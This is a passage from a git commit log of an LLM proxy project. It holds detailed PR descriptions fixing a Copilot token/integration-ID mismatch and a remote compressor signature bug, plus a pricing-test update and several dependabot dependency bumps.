recorded on the outcome tags, so provider vs estimated vs byte-fallback
stays distinguishable downstream.
- **Unsafe override required:** none.
- **Qualification impact:** output-shaping savings and cost estimates
for affected upstreams shift to a better-grounded number.
- **Rollback path:** revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:55 -07:00
Tejas Chopra 397803a942 fix(copilot): bind the minted token to the integration ID we forward (#3164)
## Description

Reported from a Copilot CLI session:

```
[CopilotCLISession] Failed to fetch models: Error: 401 "unauthorized:
    unable to validate HMAC for the given Copilot-Integration-ID"
[CopilotCLISession] Proxy URL configured (authType=hmac), skipping
    client-side token validation
```

GitHub **binds a Copilot API token to the `Copilot-Integration-Id` it
was minted under** and verifies the pairing with an HMAC. Present a
token minted for integration A alongside a header naming integration B,
and you get exactly this error.

`apply_copilot_api_auth` applied the integration ID with *set-default*
semantics — `_set_header_default` returns early when the header is
already present — **before** deciding whose token to use:

```python
for name, value in _copilot_chat_header_defaults().items():
    _set_header_default(resolved, name, value)   # ← never overwrites
...
if incoming_auth and _is_forwardable_copilot_bearer_token(...):
    return resolved                               # client's token kept
...
token = await get_copilot_token_provider().get_api_token()   # ← REPLACED
```

The client always sends an ID, so when Headroom replaced the token — the
common case, logged as `incoming token not suitable (kind=unknown), will
replace` — the request left carrying **the client's integration ID next
to Headroom's token**, minted under `vscode-chat` via
`_copilot_token_exchange_headers`. A Copilot CLI session does not
identify as `vscode-chat`.

The second log line is why nothing caught it sooner: seeing a proxy URL,
the Copilot client reports `authType=hmac` and **skips its own token
validation**, deferring to the proxy. Nobody validates the pairing until
GitHub rejects it.

**Why this matters beyond one 401:** the failing call is *model
discovery*. When it fails the client falls back to its built-in model
list — which is why a user's selected model never appeared in telemetry
and all traffic surfaced as `gpt-4o-mini`.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Restores one invariant: **the credential and the integration ID leave
together.**

- **Mint under the client's ID** rather than the proxy's default, so
GitHub's usage attribution keeps pointing at the surface that actually
made the call.
- **Overwrite the forwarded header to match what we minted** — but only
on the replace path. The pass-through branch returns earlier and keeps
the client's own ID beside the client's own token, which is equally a
matched pair.
- **Key the token cache by integration ID.** A single slot would hand a
`vscode-chat` token to a CLI session and reproduce the same 401 straight
from cache.

Two existing contracts deliberately preserved:

- Resolution order is **client header > `GITHUB_COPILOT_INTEGRATION_ID`
> built-in default**. The env var configures the *default* this proxy
sends; it does not override a client that stated its own identity.
Pinned by the existing
`test_apply_copilot_api_auth_preserves_existing_copilot_headers` (whose
fixture literally names the value `should-not-override`).
- The overwrite writes through the client's **existing key**, so a
lowercase `copilot-integration-id` does not gain a second capitalised
variant beside it — pinned by the existing
`..._preserves_existing_headers_case_insensitively`.

Existing test stubs for `get_api_token` gained the new keyword — the
same signature-drift hazard this repo just hit in
`RemoteKompressCompressor` (#3162).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/ -q -k copilot
338 passed, 8 skipped

$ pytest tests/ -q          # this branch
6 failed, 11386 passed, 587 skipped in 425.40s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/copilot_auth.py
0 errors
```

12 new tests: the mint/forward pairing, the pass-through branch keeping
the client's pair untouched, no duplicate case-variant header,
resolution order in both directions, blank/absent client values,
non-Copilot upstreams untouched, and per-integration cache isolation.

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `apply_copilot_api_auth` with the
reported shape — an unusable client bearer plus `Copilot-Integration-Id:
copilot-cli-chat` against `api.githubcopilot.com` — and compared the ID
the token would be **minted under** (via
`_copilot_token_exchange_headers`) against the ID actually
**forwarded**. Run against the same script before and after the change,
with `PYTHONPATH` pinned to the worktree.
- **Observed result:**

```
########## PRE-FIX ##########
  token minted under : vscode-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would REJECT (401 HMAC)

########## POST-FIX ##########
  token minted under : copilot-cli-chat
  header forwarded   : copilot-cli-chat
  -> GitHub would ACCEPT
```

- **Not tested:** no live call to GitHub's CAPI — the HMAC is validated
server-side by GitHub and cannot be exercised offline. The claim
verified here is that the two halves now agree; that GitHub accepts a
correctly-paired credential is inferred from its error message, not
observed. **Worth one live Copilot CLI run before shipping to a
reporter.** The `GITHUB_COPILOT_API_TOKEN` path is also unchanged: an
externally-supplied token was minted under an integration this proxy
cannot know, so it is passed through as before.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** requests where Headroom replaces
the token now forward the integration ID the replacement was minted
under. For a client sending `vscode-chat` (VS Code, the previous
default) nothing changes at all — the resolved value is identical.
- **Kill switch / disable path:** setting
`GITHUB_COPILOT_INTEGRATION_ID` pins the value used for clients that
send none; clients that send one are unaffected either way.
- **Unsafe override required:** none.
- **Qualification impact:** model discovery should stop 401ing for
non-VS-Code Copilot surfaces, which restores the real model list.
- **Rollback path:** revert the commit; behavior returns to minting
under `vscode-chat` regardless of caller.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:42 -07:00
Tejas Chopra 45cb1b9c48 fix(kompress): accept ccr_original on the remote compressor (#3162)
## Description

From a user's proxy log (Copilot Chat 0.61.0 on Windows, VS Code
1.133.0, Headroom 0.36.x). This appears on **every single request**:

```
WARNING Kompress failed: RemoteKompressCompressor.compress() got an
        unexpected keyword argument 'ccr_original'
INFO    [router] route_counts={'ratio_too_high': 1, 'cache_miss': 1} compressed=0 frozen=1 msgs=2
INFO    Transform content_router: 1611 -> 1611 tokens (saved 0) [48.3ms]
INFO    PERF model=... tok_before=1623 tok_after=1623 tok_saved=0 tool_saved=0 savings=none
```

`RemoteKompressCompressor`'s module docstring promises the class
"mirrors `KompressCompressor`'s public surface (`is_ready` / `preload` /
`ensure_background_load` / `compress`), so it is a drop-in at the
ContentRouter seam". That promise lapsed — the local `compress` gained a
`ccr_original` keyword and the remote one did not.

`ContentRouter._try_ml_compressor` passes `ccr_original` whenever custom
tags are protected. The comment there reads:

> Only set it when tags were protected so callers/compressors that don't
accept the kwarg are unaffected on the common path.

That assumption is wrong. The remote compressor **is** affected: the
call raises `TypeError`, which the surrounding broad `except Exception`
catches and downgrades to `logger.warning("Kompress failed: %s", e)`.
The request then forwards uncompressed and the proxy reports success.

**The blast radius is the entire deployment, not one request.**
`_get_kompress` returns the remote compressor *ahead of* every local
path, so on any install with `HEADROOM_KOMPRESS_ENDPOINT` set —
precisely the sandboxed/enterprise deployment this class exists to serve
— ML compression was silently disabled while every dashboard read
"working, 0 tokens saved".

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Two parts, because fixing only the crash would leave the bug
`ccr_original` exists to prevent:

- **Accept the keyword** on `RemoteKompressCompressor.compress`, so the
seam contract actually holds.
- **Honor it** — store the pre-protection text in CCR rather than the
placeholder intermediate, so a later full retrieval returns the real
block instead of `{{HEADROOM_TAG_N}}`. The endpoint's own
`original_tokens` describes `content`, so when an override is supplied
the stored text is counted locally; the common path (no override) keeps
the endpoint's count exactly as before.
- **A signature-compatibility test** over the two `compress` methods, so
this drift cannot recur silently. It compares *public* keywords only —
`_deadline_started_at` is underscore-prefixed and only ever passed by
`kompress_compressor` to itself on its recursive batch path, never
across the seam.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_remote_kompress_dropin.py -q
8 passed in 0.25s

# Same file against pre-fix code (git stash) — reproduces the reported error:
3 failed, 5 passed
  FAILED test_remote_compress_accepts_every_local_keyword
  FAILED test_passing_ccr_original_no_longer_raises
  FAILED test_ccr_stores_the_pre_protection_text_not_the_placeholder
  E  TypeError: RemoteKompressCompressor.compress() got an unexpected
     keyword argument 'ccr_original'

$ pytest tests/ -q -k "kompress or content_router"
411 passed, 9 skipped

$ pytest tests/ -q          # this branch
6 failed, 11381 passed, 587 skipped in 446.31s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...v4_flash_litellm_pricing
  test_providers/test_deepseek.py::...v4_pro_litellm_pricing
  test_providers/test_deepseek.py::...cost_per_token_resolves_deepseek_v4_flash
(verified by stashing this branch and running test_deepseek.py: 3 failed, 17 passed)

$ ruff check headroom/
All checks passed!

$ mypy headroom/transforms/kompress_remote.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `RemoteKompressCompressor.compress`
with the exact kwargs `ContentRouter._try_ml_compressor` builds when
`protected` is truthy (`context`, `question`, `target_ratio`,
`allow_download`, `ccr_original`), against a stubbed HTTP client.
- **Observed result:** pre-fix that call raises `TypeError: ...
unexpected keyword argument 'ccr_original'` — byte-identical to the
user's log line. Post-fix it returns a `KompressResult`, and CCR
receives the pre-protection text (`"HEADROOM_TAG" not in stored`) with a
token count matching what was stored.
- **Not tested:** no live remote Kompress endpoint was contacted; the
HTTP client is stubbed. The end-to-end path through a running proxy
against a real `HEADROOM_KOMPRESS_ENDPOINT` has not been exercised here.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none. Affects deployments with
`HEADROOM_KOMPRESS_ENDPOINT` set.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** for remote-Kompress deployments,
compression starts working again where it previously no-op'd.
Deployments without the endpoint set are untouched — they never reach
this class.
- **Kill switch / disable path:** unchanged
(`HEADROOM_KOMPRESS_ENDPOINT` unset, or `kompress_model="disabled"`).
- **Unsafe override required:** none.
- **Qualification impact:** the remote compressor's fail-open contract
is unchanged — a bad endpoint still passes content through verbatim.
- **Rollback path:** revert; behavior returns to silently-disabled
compression on remote deployments.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:30 -07:00
JD Davis 1bea0ea31a test: track active LiteLLM DeepSeek pricing (#3161)
## Description

Keep the LiteLLM DeepSeek V4 integration tests compatible with
upstream-owned pricing entries. LiteLLM now publishes these models
directly, so Headroom correctly preserves upstream values instead of
installing its fallback values; the tests must validate the active entry
rather than require fallback prices.

Related: #3157

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Validate that active upstream DeepSeek V4 price entries contain
positive input and output prices.
- Compare `cost_per_token` results with the active LiteLLM model-cost
entry.
- Preserve the existing fallback-price and non-overwrite coverage.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [ ] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
python -m pytest tests/test_providers/test_deepseek.py -q
20 passed in 4.63s

ruff check tests/test_providers/test_deepseek.py
All checks passed!

ruff format --check tests/test_providers/test_deepseek.py
1 file already formatted

pre-commit: Ruff alignment, merge-conflict check, Ruff, Ruff format, and mypy all passed
```

## Real Behavior Proof

- Environment: Windows, Python 3.13.13, LiteLLM model-cost data
available.
- Exact command / steps: `python -m pytest
tests/test_providers/test_deepseek.py -q`
- Observed result: all 20 DeepSeek provider and pricing tests pass
against the active LiteLLM entries.
- Not tested: provider API calls; this change only concerns local
pricing metadata assertions.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: No runtime behavior changes.
- Kill switch / disable path: N/A.
- Unsafe override required: No.
- Qualification impact: Restores deterministic CI coverage for
upstream-owned pricing entries.
- Rollback path: Revert this test-only commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code where needed
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] Existing tests prove the fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — test-only change.

## Additional Notes

Documentation changes are not applicable because runtime behavior and
public APIs are unchanged.
2026-08-20 23:19:55 -05:00
dependabot[bot] a382137844 deps: bump typescript from 5.9.3 to 7.0.2 in /plugins/opencode (#2280)
Bumps [typescript](https://github.com/microsoft/TypeScript) from 5.9.3
to 7.0.2.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/microsoft/TypeScript/releases">typescript's
releases</a>.</em></p>
<blockquote>
<h2>TypeScript 6.0.3</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.2%22">fixed
issues query for TypeScript 6.0.2 (Stable)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.3%22">fixed
issues query for TypeScript 6.0.3 (Stable)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.2%22">fixed
issues query for TypeScript 6.0.2 (Stable)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0.1 RC</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-rc/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0 Beta</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/">release
announcement</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22+is%3Aclosed+">fixed
issues query for Typescript 6.0.0 (Beta)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li>See full diff in <a
href="https://github.com/microsoft/TypeScript/commits">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~microsoft1es">microsoft1es</a>, a new
releaser for typescript since your current version.</p>
</details>
<br />


> **Note**
> Automatic rebases have been disabled on this pull request as it has
been open for over 30 days.

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 22:12:03 -05:00
dependabot[bot] 85774fcb70 deps: bump typescript from 5.9.3 to 7.0.2 in /plugins/openclaw (#2279)
Bumps [typescript](https://github.com/microsoft/TypeScript) from 5.9.3
to 7.0.2.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/microsoft/TypeScript/releases">typescript's
releases</a>.</em></p>
<blockquote>
<h2>TypeScript 6.0.3</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.2%22">fixed
issues query for TypeScript 6.0.2 (Stable)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.3%22">fixed
issues query for TypeScript 6.0.3 (Stable)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.2%22">fixed
issues query for TypeScript 6.0.2 (Stable)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0.1 RC</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-rc/">release
announcement blog post</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22">fixed
issues query for TypeScript 6.0.0 (Beta)</a>.</li>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.1%22">fixed
issues query for TypeScript 6.0.1 (RC)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
<h2>TypeScript 6.0 Beta</h2>
<p>For release notes, check out the <a
href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/">release
announcement</a>.</p>
<ul>
<li><a
href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&amp;q=milestone%3A%22TypeScript+6.0.0%22+is%3Aclosed+">fixed
issues query for Typescript 6.0.0 (Beta)</a>.</li>
</ul>
<p>Downloads are available on:</p>
<ul>
<li><a href="https://www.npmjs.com/package/typescript">npm</a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li>See full diff in <a
href="https://github.com/microsoft/TypeScript/commits">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~microsoft1es">microsoft1es</a>, a new
releaser for typescript since your current version.</p>
</details>
<br />


> **Note**
> Automatic rebases have been disabled on this pull request as it has
been open for over 30 days.

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 22:04:07 -05:00
dependabot[bot] f7e5d37f52 deps: bump ai from 6.0.149 to 7.0.59 in /docs (#2277)
Bumps [ai](https://github.com/vercel/ai/tree/HEAD/packages/ai) from
6.0.149 to 7.0.59.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a href="https://github.com/vercel/ai/releases">ai's
releases</a>.</em></p>
<blockquote>
<h2>ai@6.0.253</h2>
<h3>Patch Changes</h3>
<ul>
<li>d91d30b: Preserve reasoning block IDs from UI message streams on
reasoning UI parts.</li>
<li>Updated dependencies [0ec239b]
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/3"><code>@​3</code></a>.0.172</li>
</ul>
</li>
</ul>
<h2>ai@6.0.252</h2>
<h3>Patch Changes</h3>
<ul>
<li>2f96d3f: Allow providers without reranking model support to satisfy
the <code>Provider</code> type.</li>
<li>afb1965: Propagate errors thrown by the Chat <code>onFinish</code>
callback to the initiating request.</li>
<li>Updated dependencies [18b0965]</li>
<li>Updated dependencies [451d2c3]
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/3"><code>@​3</code></a>.0.171</li>
</ul>
</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/vercel/ai/blob/main/packages/ai/CHANGELOG.md">ai's
changelog</a>.</em></p>
<blockquote>
<h2>7.0.59</h2>
<h3>Patch Changes</h3>
<ul>
<li>Updated dependencies [401a4ba]</li>
<li>Updated dependencies [7af9646]
<ul>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.26</li>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.47</li>
</ul>
</li>
</ul>
<h2>7.0.58</h2>
<h3>Patch Changes</h3>
<ul>
<li>
<p>72ad23f: Respect ToolLoopAgent timeouts configured in agent
settings.</p>
</li>
<li>
<p>ad6a650: feat(video): allow <code>aspectRatio: 'adaptive'</code> on
<code>generateVideo</code></p>
<p>Some video models derive the output ratio from the input and reject
explicit
<code>{width}:{height}</code> values — BytePlus Seedance 2.5 does this
for first-frame,
first-and-last-frame, editing, and extension tasks.
<code>aspectRatio</code> on
<code>VideoModelV3CallOptions</code>,
<code>VideoModelV4CallOptions</code>, and
<code>experimental_generateVideo</code> is now
<code>`${number}:${number}` | 'adaptive'</code>, so
those calls no longer need a type assertion. Support is
provider-specific.</p>
</li>
<li>
<p>81cd026: Reduce bundle size by making internal Zod v4 imports
tree-shakeable.</p>
</li>
<li>
<p>Updated dependencies [c477556]</p>
</li>
<li>
<p>Updated dependencies [ad6a650]</p>
</li>
<li>
<p>Updated dependencies [81cd026]</p>
<ul>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.46</li>
<li><code>@​ai-sdk/provider</code><a
href="https://github.com/4"><code>@​4</code></a>.0.7</li>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.25</li>
</ul>
</li>
</ul>
<h2>7.0.57</h2>
<h3>Patch Changes</h3>
<ul>
<li>Updated dependencies [1937bef]
<ul>
<li><code>@​ai-sdk/provider-utils</code><a
href="https://github.com/5"><code>@​5</code></a>.0.24</li>
<li><code>@​ai-sdk/gateway</code><a
href="https://github.com/4"><code>@​4</code></a>.0.45</li>
</ul>
</li>
</ul>
<h2>7.0.56</h2>
<h3>Patch Changes</h3>
<ul>
<li>
<p>25c9120: Expose provider metadata on language-model-call end
callbacks and telemetry spans.</p>
</li>
<li>
<p>89080c8: fix (ai/gateway): make retried <code>doStart</code> calls
idempotent</p>
<p><code>generateVideo</code> retries <code>doStart</code>, which
creates a billable generation, so a
retry after a lost response could start a second one. It now mints one
idempotency token per logical start — outside the retry closure — and
forwards it
as an <code>idempotency-key</code> header, so a provider that
deduplicates (the Vercel AI</p>
</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/vercel/ai/commit/cbdbeee90d9aa4fee399b5628073f9fc30165ca6"><code>cbdbeee</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18645">#18645</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/63db19387ba71ec50820d146658ae720ab50c80b"><code>63db193</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18587">#18587</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/72ad23fd5682005c77203ce91c2d236a35725acf"><code>72ad23f</code></a>
fix: ToolLoopAgent settings-level timeouts being ignored by generate and
stre...</li>
<li><a
href="https://github.com/vercel/ai/commit/81cd0263f33202078469a5cead574e13225fa171"><code>81cd026</code></a>
perf: make zod imports tree-shakeable (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18304">#18304</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/ad6a65001da3a6f517278dd51998d4c8a1e8fa62"><code>ad6a650</code></a>
feat(video): allow <code>aspectRatio: 'adaptive'</code> on generateVideo
(<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18586">#18586</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/ae26160e2bd028a529e4114860282146fd2d70ff"><code>ae26160</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18566">#18566</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/2f04a5e2ace0043c2ad4ef01a38ff41871478e08"><code>2f04a5e</code></a>
Version Packages (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18560">#18560</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/89080c861b037f5be626f5836f804c38282a0d56"><code>89080c8</code></a>
feat (provider/gateway): support async video operations
(doStart/doStatus) on...</li>
<li><a
href="https://github.com/vercel/ai/commit/25c91200ce31fda9545dd99c90991530e38ef2b3"><code>25c9120</code></a>
feat: expose provider metadata in language model call end callbacks (<a
href="https://github.com/vercel/ai/tree/HEAD/packages/ai/issues/18100">#18100</a>)</li>
<li><a
href="https://github.com/vercel/ai/commit/79d619530c20060824e8c83d3647d48fe24e1707"><code>79d6195</code></a>
fix: resumed chat streams updating state after cancellation or a newer
resume...</li>
<li>Additional commits viewable in <a
href="https://github.com/vercel/ai/commits/ai@7.0.59/packages/ai">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~GitHub%20Actions">GitHub Actions</a>, a new
releaser for ai since your current version.</p>
</details>
<br />


> **Note**
> Automatic rebases have been disabled on this pull request as it has
been open for over 30 days.

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 21:37:35 -05:00
dependabot[bot] c6dd823384 deps: bump md-5 from 0.10.6 to 0.11.0 (#3146)
Bumps [md-5](https://github.com/RustCrypto/hashes) from 0.10.6 to
0.11.0.
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/RustCrypto/hashes/commit/b5051e5a5e7dc86a6c27c1ec7a390744ebcfb97a"><code>b5051e5</code></a>
Cut new releases (<a
